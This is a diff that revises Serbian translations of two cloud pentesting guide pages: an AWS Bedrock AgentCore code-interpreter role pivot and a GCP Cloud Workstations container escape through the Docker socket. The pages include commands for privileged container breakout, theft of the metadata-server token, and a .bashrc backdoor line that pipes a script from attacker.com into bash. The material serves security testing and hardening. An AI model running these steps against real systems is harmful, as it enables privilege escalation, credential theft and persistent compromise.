diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md
index c98e7f993..b5db263f1 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md
@@ -6,32 +6,32 @@
 
 ### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
 
-AgentCore Code Interpreter je upravljano izvršno okruženje. **Custom Code Interpreters** se mogu konfigurisati sa **`executionRoleArn`** koji „obezbeđuje dozvole za Code Interpreter da pristupi AWS services“.
+AgentCore Code Interpreter je upravljano izvršno okruženje. **Custom Code Interpreters** se mogu konfigurisati sa **`executionRoleArn`** koji „obezbeđuje dozvole code interpreteru da pristupi AWS servisima“.
 
-Ako **lower-privileged IAM principal** može **start + invoke** Code Interpreter sesiju koja je konfigurisana sa **more privileged execution role**, pozivalac može efektivno **pivot into the execution role’s permissions** (lateral movement / privilege escalation u zavisnosti od opsega role).
+Ako **lower-privileged IAM principal** može **start + invoke** Code Interpreter sesiju koja je konfigurirana sa **more privileged execution role**, pozivač može efikasno **pivot into the execution role’s permissions** (lateral movement / privilege escalation u zavisnosti od opsega role).
 
 > [!NOTE]
-> Ovo je tipično pitanje **misconfiguration / excessive permissions** (dodeljivanje širokih dozvola interpreter execution role i/ili dodeljivanje širokog invoke pristupa).
-> AWS izričito upozorava da se izbegne privilege escalation tako što će execution roles imati **jednake ili manje** privilegije od identiteta kojima je dozvoljeno invoke.
+> Ovo je tipično problem **misconfiguration / excessive permissions** (dodeljivanje širokih dozvola interpreter execution role i/ili dodeljivanje broad invoke pristupa).
+> AWS izričito upozorava da se izbegne privilege escalation tako što će execution roles imati **equal or fewer** privilegija nego identiteti kojima je dozvoljeno invoke.
 
 #### Preduslovi (common misconfiguration)
 
-- Postoji **custom code interpreter** sa preterano privilegovanim **execution role** (npr: pristup osetljivim S3/Secrets/SSM ili IAM-admin-like sposobnostima).
+- Postoji **custom code interpreter** sa previše privilegovanim **execution role** (ex: pristup osetljivim S3/Secrets/SSM ili IAM-admin-like capabilities).
 - Korisnik (developer/auditor/CI identity) ima dozvole za:
-- pokretanje sesija: `bedrock-agentcore:StartCodeInterpreterSession`
-- pozivanje alata: `bedrock-agentcore:InvokeCodeInterpreter`
-- (Opcionalno) Korisnik takođe može kreirati interpretere: `bedrock-agentcore:CreateCodeInterpreter` (omogućava im da kreiraju novog interpreter-a konfigurisanu sa execution role, u zavisnosti od org guardrails).
+  - pokretanje sesija: `bedrock-agentcore:StartCodeInterpreterSession`
+  - pozivanje alata: `bedrock-agentcore:InvokeCodeInterpreter`
+- (Opcionalno) Korisnik može i da kreira interpretere: `bedrock-agentcore:CreateCodeInterpreter` (omogućava im da kreiraju novog interpretera konfigurisanog sa execution role, zavisno od organizacijskih ograničenja).
 
 #### Recon (identify custom interpreters and execution role usage)
 
-Lista interpretera (control-plane) i pregled njihove konfiguracije:
+Pobrojite interpretere (control-plane) i pregledajte njihovu konfiguraciju:
 ```bash
 aws bedrock-agentcore-control list-code-interpreters
 aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
 ````
-> The create-code-interpreter command podržava `--execution-role-arn` koji definiše koje AWS dozvole će interpreter imati.
+> create-code-interpreter komanda podržava `--execution-role-arn` koja definiše koje će AWS dozvole interpreter imati.
 
-#### Korak 1 - Pokrenite sesiju (ovo vraća `sessionId`, ne interactive shell)
+#### Korak 1 - Pokrenite sesiju (ovo vraća `sessionId`, not an interactive shell)
 ```bash
 SESSION_ID=$(
 aws bedrock-agentcore start-code-interpreter-session \
@@ -43,11 +43,11 @@ aws bedrock-agentcore start-code-interpreter-session \
 
 echo "SessionId: $SESSION_ID"
 ```
-#### Korak 2 - Pokretanje izvršavanja koda (Boto3 ili signed HTTPS)
+#### Korak 2 - Pozivanje izvršavanja koda (Boto3 ili potpisani HTTPS)
 
 Ne postoji **interaktivni python shell** iz `start-code-interpreter-session`. Izvršavanje se dešava putem **InvokeCodeInterpreter**.
 
-**Opcija A - Boto3 primer (izvršavanje Python koda + provera identiteta):**
+**Opcija A - Boto3 primer (izvrši Python + verifikuj identitet):**
 ```python
 import boto3
 
@@ -68,9 +68,9 @@ arguments={
 for event in resp.get("stream", []):
 print(event)
 ```
-Ako je interpreter podešen sa execution role, izlaz `sts:GetCallerIdentity()` treba da odražava identitet te role (not the low-priv caller), demonstrirajući pivot.
+Ako je interpreter konfigurisan sa izvršnom ulogom, izlaz `sts:GetCallerIdentity()` treba da odražava identitet te uloge (ne niskoprivilegovanog pozivaoca), demonstrirajući pivot.
 
-**Opcija B - Potpisani HTTPS poziv (awscurl):**
+**Option B - Potpisani HTTPS poziv (awscurl):**
 ```bash
 awscurl -X POST \
 "https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
@@ -89,18 +89,18 @@ awscurl -X POST \
 ```
 #### Uticaj
 
-* **Lateral movement** na bilo koji AWS pristup koji interpreter execution role ima.
-* **Privilege escalation** ako interpreter execution role ima više privilegija od pozivaoca.
-* Teže otkrivanje ako CloudTrail data events za interpreter invocations nisu omogućeni (invocations možda neće biti registrovane podrazumevano, zavisno od konfiguracije).
+* **Lateral movement** u bilo koji AWS pristup koji poseduje izvršna uloga interpretera.
+* **Privilege escalation** ako je izvršna uloga interpretera privilegovanija od pozivaoca.
+* Teža detekcija ako CloudTrail data events za pozive interpretera nisu omogućeni (pozivi možda neće biti zabeleženi po defaultu, zavisno od konfiguracije).
 
-#### Ublažavanje / Ojačavanje
+#### Mitigations / Hardening
 
-* **Least privilege** na interpreter `executionRoleArn` (postupajte sa njim kao sa Lambda execution roles / CI roles).
-* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) i ko može da započne sesije.
-* Koristite **SCPs** da odbijete InvokeCodeInterpreter osim za odobrene agent runtime roles (može biti neophodno sprovođenje na nivou organizacije).
-* Omogućite odgovarajuće **CloudTrail data events** za AgentCore gde je primenljivo; postavite upozorenja na neočekivane invocations i kreiranje sesija.
+* **Least privilege** na interpreter `executionRoleArn` (tretirati ga kao Lambda execution roles / CI roles).
+* **Ograničiti ko može pozivati** (`bedrock-agentcore:InvokeCodeInterpreter`) i ko može pokretati sesije.
+* Koristiti **SCPs** da zabrane InvokeCodeInterpreter osim za odobrene agent runtime role (sprovođenje na nivou organizacije može biti neophodno).
+* Omogućiti odgovarajuće **CloudTrail data events** za AgentCore gde je primenjivo; podesiti alert za neočekivane pozive i kreiranje sesija.
 
-## Referencije
+## References
 
 - [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
 - [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md
index 63d0a8209..0819441ba 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md
@@ -3,16 +3,16 @@
 
 ### Container Breakout via Docker Socket (Container -> VM -> Project)
 
-Glavni put za eskalaciju privilegija u Cloud Workstations proističe iz potrebe da se podrže **Docker-in-Docker (DinD)** workflow-i za developere. Ako konfiguracija workstation-a mount-uje Docker socket ili omogućava privileged containers (česta konfiguracija), napadač unutar workstation containera može izbeći u osnovni Compute Engine VM i ukrasti njegov service account token.
+Primarni put za eskalaciju privilegija u Cloud Workstations proističe iz potrebe da se podrže **Docker-in-Docker (DinD)** workflows za developere. Kada konfiguracija workstation-a montira Docker socket ili dozvoljava privileged containers (uobičajena konfiguracija), napadač unutar workstation kontejnera može pobeći na podložni Compute Engine VM i ukrasti njegov service account token.
 
 **Preduslovi:**
-- Pristup Cloud Workstation terminalu (preko SSH, kompromitovane sesije ili ukradenih kredencijala)
-- Konfiguracija workstation-a mora da mount-uje `/var/run/docker.sock` ili omogući privileged containers
+- Pristup Cloud Workstation terminalu (putem SSH, kompromitovane sesije, ili ukradenih kredencijala)
+- Konfiguracija workstation-a mora montirati `/var/run/docker.sock` ili omogućiti privileged containers
 
-**Kontekst arhitekture:** Workstation je container (Layer 3) koji radi na Docker/Containerd runtime-u (Layer 2) na GCE VM-u (Layer 1). Docker socket daje direktan pristup container runtime-u na hostu.
+**Arhitektonski kontekst:** Workstation je kontejner (Layer 3) koji se izvršava na Docker/Containerd runtime-u (Layer 2) na GCE VM-u (Layer 1). Docker socket daje direktan pristup host-ovom container runtime-u.
 
 > [!NOTE]
-> Alat [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatizuje kompletan container escape i ostavlja vas u root shell na host VM-u.
+> Alat [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatizuje kompletan container escape i otvara vam root shell na host VM-u.
 
 <details>
 
@@ -26,9 +26,9 @@ ls -l /var/run/docker.sock
 
 <details>
 
-<summary>Korak 2: Bekstvo na fajl sistem host VM-a</summary>
+<summary>Korak 2: Bekstvo u fajl sistem host VM-a</summary>
 
-Pokrećemo privilegovani kontejner, montirajući root direktorijum hosta na `/mnt/host`. Takođe delimo hostovu mrežu i PID namespace da bismo maksimizirali vidljivost.
+Pokrećemo privilegovani kontejner, montirajući korenski direktorijum hosta na `/mnt/host`. Takođe delimo mrežu hosta i PID namespace kako bismo maksimizirali vidljivost.
 ```bash
 # Spawn a privileged container mounting the host's root filesystem
 docker run -it --rm --privileged --net=host --pid=host \
@@ -61,16 +61,16 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
 </details>
 
 > [!CAUTION]
-> **Check the Scopes!**
-> Čak i ako priloženi Service Account ima ulogu **Editor**, VM može biti ograničen access scopes-ima.
-> Ako vidite `https://www.googleapis.com/auth/cloud-platform`, imate potpuni pristup.
-> Ako vidite samo `logging.write` i `monitoring.write`, ograničeni ste na **Network Pivot** i **Persistence** vektore ispod.
+> **Proverite pristupne scope-ove!**
+> Čak i ako je priloženi Service Account **Editor**, VM može biti ograničen pristupnim scope-ovima.
+> Ako vidite `https://www.googleapis.com/auth/cloud-platform`, imate pun pristup.
+> Ako vidite samo `logging.write` i `monitoring.write`, ograničeni ste na vektore **Network Pivot** i **Persistence** navedene dole.
 
 <details>
 
-<summary>Step 4: Achieve Persistence (Backdoor the User)</summary>
+<summary>Korak 4: Achieve Persistence (Backdoor the User)</summary>
 
-Cloud Workstations mount a persistent disk to `/home/user`. Pošto container user (obično `user`, UID 1000) odgovara host user (UID 1000), možete pisati u home direktorijum hosta. Ovo vam omogućava da backdoor the environment čak i ako se workstation container ponovo izgradi.
+Cloud Workstations montiraju persistent disk na `/home/user`. Pošto se container user (obično `user`, UID 1000) poklapa sa host user-om (UID 1000), možete pisati u home direktorijum hosta. Ovo vam omogućava da ubacite backdoor u okruženje čak i ako se workstation container ponovo izgradi.
 ```bash
 # Check if you can write to the host's persistent home
 ls -la /mnt/host/home/user/
@@ -85,7 +85,7 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
 
 <summary>Step 5: Network Pivot (Internal VPC Access)</summary>
 
-Pošto delite host network namespace (`--net=host`), sada ste pouzdan čvor na VPC-u. Možete skenirati interne servise koji omogućavaju pristup zasnovan na IP whitelisting.
+Pošto delite host network namespace (`--net=host`), sada ste pouzdan čvor u VPC-u. Možete skenirati interne servise koji dozvoljavaju pristup na osnovu IP whitelisting-a.
 ```bash
 # Install scanning tools on the host (if internet access allows)
 apk add nmap